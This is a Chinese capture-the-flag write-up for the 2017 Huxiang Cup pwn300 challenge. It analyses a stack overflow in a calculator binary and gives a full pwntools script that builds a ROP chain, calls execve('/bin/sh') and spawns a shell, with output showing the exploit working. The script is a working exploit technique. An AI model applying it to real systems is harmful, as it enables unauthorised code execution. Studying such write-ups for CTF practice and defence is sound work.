2017湖湘杯 pwn300 writeup

这个题目还是很简单的,并没有过多限制,程序流也很清晰。

程序介绍

安全防护

ex@Ex:~/test$ checksec pwn300
[*] '/home/ex/test/pwn300'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int operate; // [esp+18h] [ebp-38h]
  int stack[10]; // [esp+1Ch] [ebp-34h]
  int times; // [esp+44h] [ebp-Ch]
  int *array; // [esp+48h] [ebp-8h]
  int i; // [esp+4Ch] [ebp-4h]

  times = 0;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  Welcome();
  printf("How many times do you want to calculate:");
  scanf("%d", ×);
  if ( times <= 3 || times > 255 )
  {
    puts("wrong input!");
    exit(-1);
  }
  array = (int *)malloc(4 * times);
  i = 0;
  while ( i < times )
  {
    PrintMenu();
    scanf("%d", &operate);
    switch ( operate )
    {
      case 1:
        Add();
        array[i] = ResultAdd;
        goto LABEL_11;
      case 2:
        Sub();
        array[i] = ResultSub;
        goto LABEL_11;
      case 3:
        Mul();
        array[i] = ResultMul;
        goto LABEL_11;
      case 4:
        Div();
        array[i] = ResultDiv;
        goto LABEL_11;
      case 5:
        memcpy(stack, array, 4 * times);
        free(array);
        return 0;
      default:
        puts("wrong input!");
LABEL_11:
        ++i;
        break;
    }
  }
  return 0;
}

就是一个简单的计算程序。

分析

memcpy(stack, array, 4 * times)出,存在栈溢出漏洞。

栈布局

-00000034 stack           db 40 dup(?)
-0000000C times           dd ?
-00000008 array           dd ?                    ; offset
-00000004 i               dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)

思路

  1. 栈溢出,控制程序流
  2. 构造ROP链

控制程序流

对应的函数

def Add(uint32):
    uint32 = uint32.ljust(4, '\0') # 对齐
    sh.sendline('1')
    sh.sendline(str(u32(uint32)))
    sh.sendline(str(0))
    sh.recvuntil('5 Save the result\n')

这里我们只需要写一个函数就行了,这里我就只写了一个对应的Add函数。

对应的栈溢出布局

# 填充
for _ in range(10):
    Add('aaaa')

Add('bbbb') # times
Add(p32(0)) # array, 要绕过free函数,所以置 NULL
Add('iiii') # i

Add('cccc')
Add('cccc')
Add('dddd') # ebp

这里要特别注意array是要当作free函数的参数进行调用,如果这个值有问题程序会直接crash,所以我们要把它设置为NULL。

shellcode

下面是我们要构造的shellcode。

// /bin/sh
push 0x0068732f
push 0x6e69622f
mov ebx,esp
mov eax,0x0b
mov ecx,0
mov edx,0
int 0x80

ROP链

ROPgadget生成对应的可用指令,然后构造出一条ROP链出来,让其能完成上面shellcode的功能即可。

'''
0x80e9000  0x80eb000 rw-p     2000 a0000  /home/ex/test/pwn300
'''
sh_addr = 0x80eb000-0x100

rop = [
    p32(elf.symbols['read']),
    # 0x080a56e2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
    p32(0x080a56e2),
    p32(0),
    p32(sh_addr),
    p32(100),
    '$edi',

    # 0x0806ed31 : pop ecx ; pop ebx ; ret
    p32(0x0806ed31),
    p32(0), # ecx
    p32(sh_addr), # ebx

    # 0x080bb406 : pop eax ; ret
    p32(0x080bb406),
    p32(0xb) ,

    # 0x0806ed0a : pop edx ; ret
    p32(0x0806ed0a),
    p32(0), # edx

    # 0x08049781 : int 0x80
    p32(0x08049781)
]

# 注入rop链
for v in rop:
    Add(v)

# pause()
# 退出
sh.sendline('5')

# 注入字符串
sh.sendline('/bin/sh\x00')

sh.interactive()

由于这里在栈上面操作字符串比较麻烦,所以我直接从输入流里面读取字符串。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os

sh = process('./pwn300')
elf = ELF('./pwn300')
# context.log_level = "debug"

# 创建pid文件,用于gdb调试
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

def Add(uint32):
    uint32 = uint32.ljust(4, '\0') # 对齐
    sh.sendline('1')
    sh.sendline(str(u32(uint32)))
    sh.sendline(str(0))
    sh.recvuntil('5 Save the result\n')

sh.recvuntil('How many times do you want to calculate:')
sh.sendline(str(255))

# 清除流
sh.recvuntil('5 Save the result\n')

# 填充
for _ in range(10):
    Add('aaaa')

Add('bbbb') # times
Add(p32(0)) # array, 要绕过free函数,所以置 NULL
Add('iiii') # i

Add('cccc')
Add('cccc')
Add('dddd') # ebp

'''
    // /bin/sh
    push 0x0068732f
    push 0x6e69622f
    mov ebx,esp
    mov eax,0x0b
    mov ecx,0
    mov edx,0
    int 0x80
'''

'''
0x80e9000  0x80eb000 rw-p     2000 a0000  /home/ex/test/pwn300
'''
sh_addr = 0x80eb000-0x100

rop = [
    p32(elf.symbols['read']),
    # 0x080a56e2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
    p32(0x080a56e2),
    p32(0),
    p32(sh_addr),
    p32(100),
    '$edi',

    # 0x0806ed31 : pop ecx ; pop ebx ; ret
    p32(0x0806ed31),
    p32(0), # ecx
    p32(sh_addr), # ebx

    # 0x080bb406 : pop eax ; ret
    p32(0x080bb406),
    p32(0xb) ,

    # 0x0806ed0a : pop edx ; ret
    p32(0x0806ed0a),
    p32(0), # edx

    # 0x08049781 : int 0x80
    p32(0x08049781)
]

# 注入rop链
for v in rop:
    Add(v)

# pause()
# 退出
sh.sendline('5')

# 注入字符串
sh.sendline('/bin/sh\x00')

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ ./exp.py 
[+] Starting local process './pwn300': pid 17427
[*] '/home/ex/test/pwn300'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$  

总结

构造ROP链也是pwn的必备技能之一,这里我用read函数偷懒了,可能大部分实际情况是不能使用read函数。